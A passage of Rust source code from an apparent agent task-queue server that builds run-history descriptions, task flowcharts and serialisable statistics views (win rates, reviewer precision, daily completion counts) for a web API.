5393        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5394        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5395        None => "whether its attempt was handed back was not recorded",
5396    };
5397    let pass_note = if passes_of_run > 1 {
5398        format!(
5399            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5400        )
5401    } else {
5402        String::new()
5403    };
5404    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5405        // The run recorded this pass's end when it happened.
5406        let cause = match v.end {
5407            "parked" => format!("It was stopped on purpose: {}.", v.label),
5408            _ => format!("It {}.", v.label),
5409        };
5410        format!(
5411            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5412            capitalise(cost_words)
5413        )
5414    } else if let Some(k) = resumed_later {
5415        // A run is only picked up again while it is unfinished, so an earlier
5416        // pass of a repeated id stopped short; the record keeps only the run's
5417        // latest status, which is left to the pass that carried it on.
5418        // Only the latest state is recorded: `parked` is cleared on resume
5419        // and `quota` accumulates across passes, so neither says why *this*
5420        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5421        let cause = if s.quota.is_empty() {
5422            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5423        } else {
5424            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5425        };
5426        format!(
5427            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5428        )
5429    } else if s.parked {
5430        match recorded_end.and_then(|v| v.cause.as_ref()) {
5431            Some(cause) => format!(
5432                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5433                cause.label(),
5434                cost_words
5435            ),
5436            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5437                .to_owned(),
5438        }
5439    } else if !status.done()
5440        || matches!(
5441            status,
5442            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5443        )
5444    {
5445        String::new()
5446    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5447        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5448    {
5449        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5450            .to_owned()
5451    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5452        " It left a pull request open, so the task was held for a person rather than retried."
5453            .to_owned()
5454    } else if matches!(status, RunStatus::VerifiedNoop) {
5455        " Held for a person to check the claim.".to_owned()
5456    } else if last {
5457        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5458    } else {
5459        " It spent an attempt, and the task moved on to the next run.".to_owned()
5460    };
5461    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5462    let mut attempt = exit.cost();
5463    let mut exit_label = None;
5464    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5465        let spent = match v.cost {
5466            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5467            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5468            None if resumed_later.is_some() => ", refund not recorded",
5469            None => ", attempt refunded",
5470        };
5471        attempt = match v.cost {
5472            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5473            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5474            None if resumed_later.is_some() => AttemptCost::Unknown,
5475            None => attempt,
5476        };
5477        if v.end == "parked" {
5478            exit = RunExit::Parked;
5479            exit_label = Some(match v.cause.as_ref() {
5480                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5481                    format!("parked for {}{spent}", c.label())
5482                }
5483                Some(c) => format!("parked ({}){spent}", c.label()),
5484                None => format!("parked{spent}"),
5485            });
5486        } else {
5487            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5488        }
5489    }
5490    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5491    TaskRunView {
5492        n,
5493        id: id.to_owned(),
5494        short,
5495        kind,
5496        status: Some(status.as_str()),
5497        readable: true,
5498        provisional,
5499        description,
5500        outcome: format!("{head}{why}"),
5501        created_at: Some(s.created_at),
5502        pr: s.pr.as_ref().map(|p| p.url.clone()),
5503        exit,
5504        attempt,
5505        exit_label,
5506        later_pass: resumed_later,
5507        pass_n,
5508        passes_of_run,
5509        pass: view,
5510        branch: branch.map(str::to_owned),
5511        badge: None,
5512    }
5513}
5514
5515fn capitalise(s: &str) -> String {
5516    let mut c = s.chars();
5517    c.next().map_or_else(String::new, |f| {
5518        f.to_uppercase().collect::<String>() + c.as_str()
5519    })
5520}
5521
5522/// One box of the task's flowchart.
5523#[derive(Debug, Serialize, PartialEq)]
5524struct FlowNode {
5525    /// Unique by position: a resumed run id appears once per pass.
5526    key: String,
5527    /// `chat`, `followup`, `start`, `run` or `end`.
5528    kind: &'static str,
5529    label: String,
5530    /// Run status (or the task's, for `end`); `None` when it is not a fact
5531    /// about this box (unreadable, or a pass the run later resumed from).
5532    status: Option<&'static str>,
5533    /// Whose status `status` is, so the client picks the right colour table:
5534    /// `task` (the `followup` parent and `end`) or `run`.
5535    status_of: &'static str,
5536    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5537    note: Option<&'static str>,
5538    run_kind: Option<&'static str>,
5539    detail: Option<String>,
5540    /// A readable run with a real verdict; a stall never is.
5541    decided: bool,
5542    readable: bool,
5543    href: Option<String>,
5544    /// Overrides `status` as the badge word (`stale` / `superseded`).
5545    badge: Option<String>,
5546    /// Start of this entry, never the run's latest update or pass settlement.
5547    started_at: Option<Timestamp>,
5548    /// Context links (chat / follow-up) do not represent execution entries.
5549    time_expected: bool,
5550}
5551
5552#[derive(Debug, Serialize, PartialEq)]
5553struct FlowEdge {
5554    from: String,
5555    to: String,
5556    label: String,
5557    attempt: AttemptCost,
5558}
5559
5560#[derive(Debug, Serialize, PartialEq)]
5561struct FlowView {
5562    nodes: Vec<FlowNode>,
5563    edges: Vec<FlowEdge>,
5564    /// Attempts the task has counted since it was last released.
5565    attempts: usize,
5566    max_attempts: usize,
5567    /// Entries in the run list (passes), and how many distinct runs they are.
5568    /// Neither is the number of attempts consumed.
5569    passes: usize,
5570    runs: usize,
5571}
5572
5573/// Turn a task and its described runs into the flowchart's boxes and arrows.
5574/// Pure: the page only draws what this returns.
5575///
5576/// A follow-up opens with its parent (or the merged run) unless the task's
5577/// *source* is itself a chat, in which case the chat stays first and the
5578/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5579/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5580/// two normally do not coincide and the nearer origin wins.
5581fn task_flow(
5582    task: &Task,
5583    history: &[TaskRunView],
5584    max_attempts: usize,
5585    origin: Option<&FollowUpOrigin>,
5586) -> FlowView {
5587    let max_attempts = task.effective_attempt_limit(max_attempts);
5588    let node = |key: &str, kind, label: String| FlowNode {
5589        key: key.to_owned(),
5590        kind,
5591        label,
5592        status: None,
5593        status_of: "run",
5594        note: None,
5595        run_kind: None,
5596        detail: None,
5597        decided: false,
5598        readable: true,
5599        href: None,
5600        badge: None,
5601        started_at: None,
5602        time_expected: matches!(kind, "start" | "run" | "end"),
5603    };
5604    let mut nodes = Vec::new();
5605    let mut edges: Vec<FlowEdge> = Vec::new();
5606    // A task queued from a chat opens the flow with that conversation.
5607    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5608        let mut n = node(
5609            "chat",
5610            "chat",
5611            format!("Chat {}", crate::queue::short(&link.id)),
5612        );
5613        n.href = Some(link.href);
5614        nodes.push(n);
5615        edges.push(FlowEdge {
5616            from: "chat".to_owned(),
5617            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5618            label: "queued from chat".to_owned(),
5619            attempt: AttemptCost::None,
5620        });
5621    }
5622    if let Some(o) = origin {
5623        let mut n = match &o.parent {
5624            Some(p) => {
5625                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5626                n.status = Some(p.status);
5627                n.status_of = "task";
5628                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5629                n.href = Some(p.href.clone());
5630                n
5631            }
5632            None => {
5633                let mut n = node(
5634                    "origin",
5635                    "followup",
5636                    format!("Follow-up of run {}", o.run.short),
5637                );
5638                n.detail = Some("merged run".to_owned());
5639                n.status = o.run.status;
5640                n.href = o.run.href.clone();
5641                if o.run.href.is_none() {
5642                    n.readable = false;
5643                    n.note = Some("unreadable");
5644                }
5645                n
5646            }
5647        };
5648        n.decided = true;
5649        let from = n.key.clone();
5650        nodes.push(n);
5651        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5652        let more = o.findings.len().saturating_sub(shown.len());
5653        let label = match (shown.is_empty(), more) {
5654            (true, _) => "open findings".to_owned(),
5655            (false, 0) => format!("open findings {}", shown.join(", ")),
5656            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5657        };
5658        edges.push(FlowEdge {
5659            from,
5660            to: "start".to_owned(),
5661            label,
5662            attempt: AttemptCost::None,
5663        });
5664    }
5665    let mut start = node("start", "start", "Task queued".to_owned());
5666    start.started_at = Some(task.created_at);
5667    nodes.push(start);
5668    let mut prev = "start".to_owned();
5669    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5670    for (i, h) in history.iter().enumerate() {
5671        let key = format!("run-{}", h.n);
5672        let mut n = node(&key, "run", format!("Run {}", h.short));
5673        // Creation marks only the first pass of legacy runs. A resumed pass
5674        // without a record must not inherit the original run's start time.
5675        n.started_at = h
5676            .readable
5677            .then(|| {
5678                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5679                    h.created_at
5680                } else {
5681                    None
5682                })
5683            })
5684            .flatten();
5685        n.run_kind = Some(h.kind);
5686        n.readable = h.readable;
5687        n.href = Some(format!("#/runs/{}", h.id));
5688        n.decided = h.readable && !h.provisional;
5689        n.detail = h
5690            .branch
5691            .as_ref()
5692            .map(|b| format!("review-only run of branch {b}"));
5693        match h.exit {
5694            RunExit::Unreadable => n.note = Some("unreadable"),
5695            RunExit::Interrupted => n.note = Some("interrupted"),
5696            // An earlier pass the run recorded as parked: the status shown
5697            // would be the run's current one, not this pass's.
5698            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5699            _ => {
5700                n.status = h.status;
5701                n.badge = h.badge.clone();
5702                if h.provisional {
5703                    n.note = Some("no verdict");
5704                }
5705            }
5706        }
5707        let into = match h.kind {
5708            "review" => Some(format!(
5709                "review-only run of branch {}",
5710                h.branch.as_deref().unwrap_or("?")
5711            )),
5712            "resume" => Some("resume the same run".to_owned()),
5713            _ if i > 0 => Some("retry".to_owned()),
5714            _ => None,
5715        };
5716        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5717        let label = match (prev_exit, into) {
5718            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5719            (Some((_, l, _)), None) => l,
5720            (None, Some(i)) => i,
5721            (None, None) => "claimed".to_owned(),
5722        };
5723        edges.push(FlowEdge {
5724            from: prev.clone(),
5725            to: key.clone(),
5726            label,
5727            attempt,
5728        });
5729        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5730        prev = key;
5731        nodes.push(n);
5732    }
5733    let mut end = node("end", "end", task.status.as_str().to_owned());
5734    end.status = Some(task.status.as_str());
5735    end.status_of = "task";
5736    // Other task states do not persist their transition start. In particular,
5737    // blocked_at can change while the task remains blocked.
5738    if task.status == TaskStatus::Held {
5739        end.started_at = task.held_at;
5740    }
5741    nodes.push(end);
5742    let (label, attempt) = match prev_exit {
5743        None => (
5744            format!("no run yet \u{2192} {}", task.status.as_str()),
5745            AttemptCost::None,
5746        ),
5747        Some((e, l, cost)) if e.explains(task.status) => {
5748            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5749        }
5750        Some((_, _, cost)) => (
5751            format!("closed by hand: task is {}", task.status.as_str()),
5752            cost,
5753        ),
5754    };
5755    edges.push(FlowEdge {
5756        from: prev,
5757        to: "end".to_owned(),
5758        label,
5759        attempt,
5760    });
5761    FlowView {
5762        nodes,
5763        edges,
5764        attempts: task.attempts,
5765        max_attempts,
5766        passes: history.len(),
5767        runs: distinct_runs(&task.runs),
5768    }
5769}
5770
5771/// How many different run ids a task's run list names.
5772fn distinct_runs(runs: &[String]) -> usize {
5773    let mut seen: Vec<&str> = Vec::new();
5774    for r in runs {
5775        if !seen.contains(&r.as_str()) {
5776            seen.push(r);
5777        }
5778    }
5779    seen.len()
5780}
5781
5782/// Describe recorded task passes, retaining unrecorded legacy list entries.
5783fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5784    let mut slots = Vec::new();
5785    let mut seen = Vec::new();
5786    for run_id in &task.runs {
5787        if seen.contains(&run_id) {
5788            continue;
5789        }
5790        seen.push(run_id);
5791        let state = read(run_id);
5792        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5793            s.passes
5794                .iter()
5795                .filter(|p| {
5796                    p.task_entry
5797                        || task
5798                            .passes
5799                            .iter()
5800                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5801                })
5802                .cloned()
5803                .collect()
5804        });
5805        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5806        let total = legacy_count.max(mine.len());
5807        let offset = total - mine.len();
5808        for k in 0..total {
5809            // Legacy repeated entries retain their original positions. When
5810            // ids are unique, recorded pass times recover the resume order.
5811            let position = task
5812                .runs
5813                .iter()
5814                .enumerate()
5815                .filter(|(_, r)| *r == run_id)
5816                .nth(k.min(legacy_count - 1))
5817                .unwrap()
5818                .0;
5819            slots.push((
5820                run_id,
5821                state.clone(),
5822                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5823                position,
5824            ));
5825        }
5826    }
5827    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5828        slots.sort_by_key(|(_, state, pass, _)| {
5829            pass.as_ref()
5830                .map(|p| p.started_at)
5831                .or_else(|| state.as_ref().map(|s| s.created_at))
5832                .map_or((true, task.created_at), |at| (false, at))
5833        });
5834    } else {
5835        slots.sort_by_key(|(_, _, _, position)| *position);
5836    }
5837    let mut history = Vec::with_capacity(slots.len());
5838    let mut seen: Vec<&str> = Vec::new();
5839    let mut prior: Option<(&str, RunStatus)> = None;
5840    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5841        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5842        let resumed = k > 0;
5843        seen.push(run_id);
5844        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5845        let pass = pass.as_ref();
5846        let settled = pass.and_then(|p| {
5847            task.passes
5848                .iter()
5849                .find(|t| t.run == **run_id && t.pass_index == p.index)
5850        });
5851        history.push(task_run_view(
5852            run_id,
5853            state.as_ref(),
5854            RunSlot {
5855                n: i + 1,
5856                resumed,
5857                resumed_later: slots[i + 1..]
5858                    .iter()
5859                    .position(|(id, _, _, _)| id == run_id)
5860                    .map(|off| i + off + 2),
5861                prior,
5862                last: i + 1 == slots.len(),
5863                pass,
5864                settled,
5865                pass_n: k + 1,
5866                passes_of_run: total,
5867            },
5868            task,
5869        ));
5870        if let Some(s) = &state {
5871            prior = Some((run::short_of(run_id), s.status));
5872        }
5873    }
5874    history
5875}
5876
5877/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
5878/// An earlier pass of a resumed run keeps no badge (it has no status box).
5879fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5880    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5881        return;
5882    }
5883    let (_, claimed, _) = run_row_inputs(ui);
5884    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5885    for h in history
5886        .iter_mut()
5887        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5888    {
5889        let Ok(state) = read_run(&ui.runs, &h.id) else {
5890            continue;
5891        };
5892        if state.status.done() {
5893            continue;
5894        }
5895        let live = state.liveness_with(
5896            claimed.contains(&h.id),
5897            |p| probe.borrow_mut().status(p),
5898            |p| probe.borrow_mut().started_at(p),
5899        );
5900        let waiting = !ui.questions.open_for(&h.id).is_empty();
5901        let display = run_display_status(&state, waiting, live);
5902        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5903        if matches!(word.as_str(), "stale" | "superseded")
5904            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5905        {
5906            h.badge = Some(word);
5907        }
5908    }
5909}
5910
5911async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
5912    blocking(move || {
5913        let id = resolve_task(&ui.queue, &id)?;
5914        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
5915    })
5916    .await
5917}
5918
5919async fn task_detail(
5920    State(ui): State<Arc<Ui>>,
5921    Path(id): Path<String>,
5922) -> ApiResult<Json<TaskDetailView>> {
5923    blocking(move || {
5924        let id = resolve_task(&ui.queue, &id)?;
5925        let task = ui
5926            .queue
5927            .get(&id)
5928            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5929        let inv = if task.status == TaskStatus::Blocked {
5930            Some(crate::blockers::Inventory::load_for(
5931                &ui.queue,
5932                &ui.questions,
5933                &task,
5934            ))
5935        } else {
5936            None
5937        };
5938        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5939        mark_badges(&ui, &task, &mut history);
5940        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5941        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5942        let origin = task.followup.as_ref().map(|fu| {
5943            followup_origin(
5944                fu,
5945                |tid| ui.queue.get(tid).ok(),
5946                |rid| read_run(&ui.runs, rid).ok(),
5947            )
5948        });
5949        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5950        let task_view = match inv.as_ref() {
5951            Some(inv) => TaskView::with_inventory(task, inv),
5952            None => TaskView::from(task),
5953        };
5954        Ok(Json(TaskDetailView {
5955            max_attempts,
5956            flow,
5957            followup_origin: origin,
5958            passes_total: history.len(),
5959            runs_distinct: distinct_runs(&task_view.task.runs),
5960            history,
5961            runs_unreadable,
5962            attempts_note: ATTEMPTS_NOTE,
5963            task: task_view,
5964        }))
5965    })
5966    .await
5967}
5968
5969/// A rate together with its denominator, so the client can tell "computed as
5970/// 0%" apart from "no data to compute it from" — both would otherwise
5971/// serialize as `0.0`. `None` means the denominator was zero.
5972#[derive(Debug, Serialize)]
5973struct RateView {
5974    pct: f64,
5975    denominator: usize,
5976}
5977
5978impl RateView {
5979    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5980        (denominator > 0).then(|| Self {
5981            pct: 100.0 * numerator as f64 / denominator as f64,
5982            denominator,
5983        })
5984    }
5985}
5986
5987/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5988/// rates, each paired with its own denominator via [`RateView`] rather than
5989/// exposing `Stats`' own percentage methods directly — see this module's
5990/// doc for why `Stats` itself is never serialized.
5991#[derive(Debug, Serialize)]
5992struct StatsTotalsView {
5993    runs: usize,
5994    merged: usize,
5995    ready: usize,
5996    blocked: usize,
5997    failed: usize,
5998    stalled: usize,
5999    verified_noop: usize,
6000    superseded: usize,
6001    in_progress: usize,
6002    completion_rate: Option<RateView>,
6003    tallied: usize,
6004    split: usize,
6005    split_rate: Option<RateView>,
6006    deliberated: usize,
6007    minds_changed: usize,
6008    converged: usize,
6009    review_rounds: usize,
6010}
6011
6012impl From<&stats::Totals> for StatsTotalsView {
6013    fn from(t: &stats::Totals) -> Self {
6014        Self {
6015            runs: t.runs,
6016            merged: t.merged,
6017            ready: t.ready,
6018            blocked: t.blocked,
6019            failed: t.failed,
6020            stalled: t.stalled,
6021            verified_noop: t.verified_noop,
6022            superseded: t.superseded,
6023            in_progress: t.in_progress,
6024            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6025            tallied: t.tallied,
6026            split: t.split,
6027            split_rate: RateView::of(t.split, t.tallied),
6028            deliberated: t.deliberated,
6029            minds_changed: t.minds_changed,
6030            converged: t.converged,
6031            review_rounds: t.review_rounds,
6032        }
6033    }
6034}
6035
6036/// [`crate::stats::AgentStats`] for the wire.
6037#[derive(Debug, Serialize)]
6038struct AgentStatsView {
6039    agent: String,
6040    entered: usize,
6041    wins: usize,
6042    empty: usize,
6043    win_rate: Option<RateView>,
6044    competitive_entered: usize,
6045    competitive_wins: usize,
6046    competitive_win_rate: Option<RateView>,
6047    solo_entered: usize,
6048    solo_adopted: usize,
6049    solo_adoption_rate: Option<RateView>,
6050}
6051
6052impl From<&stats::AgentStats> for AgentStatsView {
6053    fn from(a: &stats::AgentStats) -> Self {
6054        Self {
6055            agent: a.agent.clone(),
6056            entered: a.entered,
6057            wins: a.wins,
6058            empty: a.empty,
6059            win_rate: RateView::of(a.wins, a.entered),
6060            competitive_entered: a.competitive_entered,
6061            competitive_wins: a.competitive_wins,
6062            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6063            solo_entered: a.solo_entered,
6064            solo_adopted: a.solo_adopted,
6065            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6066        }
6067    }
6068}
6069
6070/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6071/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6072/// value, `None` when `rounds` is zero.
6073#[derive(Debug, Serialize)]
6074struct ReviewerStatsView {
6075    agent: String,
6076    rounds: usize,
6077    seated: usize,
6078    submitted: usize,
6079    adopted: usize,
6080    unique: usize,
6081    timeouts: usize,
6082    adopted_per_round: Option<f64>,
6083    precision: Option<RateView>,
6084    unique_rate: Option<RateView>,
6085    timeout_rate: Option<RateView>,
6086}
6087
6088impl From<&stats::ReviewerStats> for ReviewerStatsView {
6089    fn from(r: &stats::ReviewerStats) -> Self {
6090        Self {
6091            agent: r.agent.clone(),
6092            rounds: r.rounds,
6093            seated: r.seated,
6094            submitted: r.submitted,
6095            adopted: r.adopted,
6096            unique: r.unique,
6097            timeouts: r.timeouts,
6098            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6099            precision: RateView::of(r.adopted, r.submitted),
6100            unique_rate: RateView::of(r.unique, r.submitted),
6101            timeout_rate: RateView::of(r.timeouts, r.seated),
6102        }
6103    }
6104}
6105
6106/// [`crate::stats::AdvisorStats`] for the wire.
6107///
6108/// `reflection_rate` is approximate by construction — see
6109/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6110/// that caveat is static text in `index.html`, not a field here.
6111#[derive(Debug, Serialize)]
6112struct AdvisorStatsView {
6113    agent: String,
6114    seated: usize,
6115    proposed: usize,
6116    absent: usize,
6117    faint: usize,
6118    strong: usize,
6119    reflection_rate: Option<RateView>,
6120}
6121
6122impl From<&stats::AdvisorStats> for AdvisorStatsView {
6123    fn from(a: &stats::AdvisorStats) -> Self {
6124        Self {
6125            agent: a.agent.clone(),
6126            seated: a.seated,
6127            proposed: a.proposed,
6128            absent: a.absent,
6129            faint: a.faint,
6130            strong: a.strong,
6131            reflection_rate: RateView::of(a.strong, a.proposed),
6132        }
6133    }
6134}
6135
6136/// [`crate::stats::E2eStats`] for the wire.
6137#[derive(Debug, Serialize)]
6138struct E2eStatsView {
6139    rounds: usize,
6140    failures: usize,
6141    sole_detections: usize,
6142    deferred: usize,
6143    sole_rate: Option<RateView>,
6144}
6145
6146impl From<&stats::E2eStats> for E2eStatsView {
6147    fn from(e: &stats::E2eStats) -> Self {
6148        Self {
6149            rounds: e.rounds,
6150            failures: e.failures,
6151            sole_detections: e.sole_detections,
6152            deferred: e.deferred,
6153            sole_rate: RateView::of(e.sole_detections, e.failures),
6154        }
6155    }
6156}
6157
6158/// [`crate::stats::ReleaseBumpStats`] for the wire.
6159///
6160/// `clean` is sent as a raw count, computed the same way
6161/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6162/// needs_attention`) — never derived client-side from `automerge_enabled`,
6163/// which would misclassify a `merged_directly` bump (automerge rejected, but
6164/// magi merged it directly, so no human involvement) as needing attention.
6165#[derive(Debug, Serialize)]
6166struct ReleaseBumpStatsView {
6167    merged: usize,
6168    recorded: usize,
6169    pr_opened: usize,
6170    automerge_enabled: usize,
6171    merged_directly: usize,
6172    needs_attention: usize,
6173    clean: usize,
6174    coverage_rate: Option<RateView>,
6175    automerge_rate: Option<RateView>,
6176    attention_rate: Option<RateView>,
6177}
6178
6179impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6180    fn from(b: &stats::ReleaseBumpStats) -> Self {
6181        Self {
6182            merged: b.merged,
6183            recorded: b.recorded,
6184            pr_opened: b.pr_opened,
6185            automerge_enabled: b.automerge_enabled,
6186            merged_directly: b.merged_directly,
6187            needs_attention: b.needs_attention,
6188            clean: b.clean(),
6189            coverage_rate: RateView::of(b.recorded, b.merged),
6190            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6191            attention_rate: RateView::of(b.needs_attention, b.recorded),
6192        }
6193    }
6194}
6195
6196/// [`crate::queue::TaskCounts`] for the wire.
6197#[derive(Debug, Serialize)]
6198struct TaskCountsView {
6199    queued: usize,
6200    running: usize,
6201    done: usize,
6202    failed: usize,
6203    held: usize,
6204    blocked: usize,
6205    parked: usize,
6206}
6207
6208impl From<crate::queue::TaskCounts> for TaskCountsView {
6209    fn from(c: crate::queue::TaskCounts) -> Self {
6210        Self {
6211            queued: c.queued,
6212            running: c.running,
6213            done: c.done,
6214            failed: c.failed,
6215            held: c.held,
6216            blocked: c.blocked,
6217            parked: c.parked,
6218        }
6219    }
6220}
6221
6222/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6223/// runs recorded — the summary the UI's repository selector is built from.
6224/// Carries no nested `Stats`: picking a repo means re-fetching
6225/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6226/// aggregation rather than duplicating it.
6227#[derive(Debug, Serialize)]
6228struct RepoSummaryView {
6229    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6230    /// against, full path and all (see [`stats_get`]'s own doc for why).
6231    repo: String,
6232    /// Display name only; never used for matching.
6233    name: String,
6234    runs: usize,
6235    completion_rate: Option<RateView>,
6236}
6237
6238impl From<&stats::RepoStats> for RepoSummaryView {
6239    fn from(r: &stats::RepoStats) -> Self {
6240        let t = &r.stats.totals;
6241        Self {
6242            repo: r.repo.to_string_lossy().into_owned(),
6243            name: r.name.clone(),
6244            runs: t.runs,
6245            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6246        }
6247    }
6248}
6249
6250/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6251/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6252/// renders from them) are free to grow without that becoming a wire-contract
6253/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6254/// data" from "computed and it really is zero" the way [`RateView`] does.
6255#[derive(Debug, Serialize)]
6256struct StatsView {
6257    totals: StatsTotalsView,
6258    /// Best win rate first, as [`stats::collect`] already sorts it.
6259    agents: Vec<AgentStatsView>,
6260    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6261    reviewers: Vec<ReviewerStatsView>,
6262    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6263    advisors: Vec<AdvisorStatsView>,
6264    e2e: E2eStatsView,
6265    release_bumps: ReleaseBumpStatsView,
6266    queue: Option<TaskCountsView>,
6267    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6268    /// that field's doc. Asserted to match it in
6269    /// `stats_runs_unreadable_matches_health`.
6270    ///
6271    /// Always the whole-workload count, even when `repo` narrows every other
6272    /// field to one repository - an unreadable `run.json` carries no `repo`
6273    /// a per-repository count could attribute it to, and the queue/health
6274    /// views this mirrors never scope it either. The UI must not present it
6275    /// as if it were scoped to the selected repository.
6276    runs_unreadable: usize,
6277    /// Every repository with runs recorded, most runs first - what the UI's
6278    /// repository selector is built from. Always the full list regardless of
6279    /// `repo`, so switching repositories never needs a second request.
6280    repos: Vec<RepoSummaryView>,
6281    /// Runs per local day over the last 30 days, oldest first, always 30
6282    /// entries. Days are the *server's* local dates (the UI must not convert
6283    /// them again), cut by run creation and classified by current status.
6284    /// Narrowed by `repo` like every other run-derived field.
6285    daily: Vec<DailyStatsView>,
6286    /// The `?repo=` value this response was narrowed to, echoed back so the
6287    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6288    /// all-repositories view.
6289    repo: Option<String>,
6290    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6291    /// current config roster no longer lists them. Empty with `?all=true`, an
6292    /// unreadable config, or when nothing was retired.
6293    retired_hidden: Vec<String>,
6294}
6295
6296/// One day of [`StatsView::daily`].
6297#[derive(Debug, Serialize)]
6298struct DailyStatsView {
6299    /// `YYYY-MM-DD`, server-local.
6300    date: String,
6301    runs: usize,
6302    merged: usize,
6303    ready: usize,
6304    other: usize,
6305    /// `None` on a day with no runs, so it never reads as 0%.
6306    completion_rate: Option<RateView>,
6307}
6308
6309impl From<&stats::DayBucket> for DailyStatsView {
6310    fn from(b: &stats::DayBucket) -> Self {
6311        Self {
6312            date: b.date.to_string(),
6313            runs: b.runs,
6314            merged: b.merged,
6315            ready: b.ready,
6316            other: b.other,
6317            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6318        }
6319    }
6320}
6321
6322/// How many days [`StatsView::daily`] covers.
6323const STATS_DAILY_DAYS: usize = 30;
6324
6325/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6326/// repository. Matched by full-path equality against `RunState.repo` only
6327/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6328/// `--repo` is, because the value here always came from this same route's
6329/// own `repos` list in an earlier response, never typed by a human. A value
6330/// matching no run is a 404, not an empty aggregate: the caller asked for a
